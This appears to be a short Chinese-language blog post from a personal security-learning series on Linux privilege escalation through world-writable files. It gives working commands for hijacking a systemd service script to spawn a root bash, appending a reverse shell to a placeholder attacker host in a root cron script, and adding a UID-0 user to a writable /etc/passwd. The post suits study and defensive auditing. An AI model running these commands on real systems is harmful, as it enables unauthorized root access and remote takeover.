第29天:可写文件利用 — 将“Bad Permissions”转化为Root Shells 🕵️‍♂️

发布: (2026年3月24日 GMT+8 00:35)
2 分钟阅读
原文: Dev.to

Source: Dev.to

“Writable‑to‑Root” 管道

1. Systemd 服务劫持

我审计了位于 /etc/systemd/system/app.service 的自定义服务文件。

缺陷ExecStart 指向 /opt/app.py,该文件对所有用户可写 (-rwxrwxrwx)。

利用方法

echo 'import os; os.system("/bin/bash")' > /opt/app.py

触发systemctl restart app
由于服务管理器(systemd)以 root 身份运行,注入的 Bash shell 将以完整的 root 权限启动。

自动化:我检查了 /etc/crontab,发现有一个每分钟运行的清理脚本。

利用方法(追加反向 shell)

echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/cleanup.sh

结果:在 60 秒内,系统自动将一个 root shell 推送到我的监听器。

/etc/passwd(核选项)

在极少数、严重的错误配置中,/etc/passwd 可能对所有用户可写:

利用方法:生成一个新用户的密码哈希。

openssl passwd -1 mypassword

注入:将以下行追加到 /etc/passwd(用生成的哈希替换 $hash)。

hacker:$hash:0:0:root:/root:/bin/bash

结果su hacker 可直接获得 root 会话,无需真实的 root 密码。

“金矿”发现命令

find / -writable -type f 2>/dev/null | grep -v "/proc"

常见的可写位置包括:

  • /opt/(自定义应用)
  • /usr/local/bin/(自定义脚本)
  • /etc/systemd/system/(服务配置)
  • /etc/cron*(计划任务)

跟随我的旅程:#1HourADayJourney

0 浏览
Back to Blog

相关文章

阅读更多 »

不,Windows Start 并未使用 React

2026年3月23日 — Pat Hartl Windows 再次成为新闻焦点。这一次,Microsoft 发布了一份标准的企业《Our commitment to Windows quality》https://blogs.windo...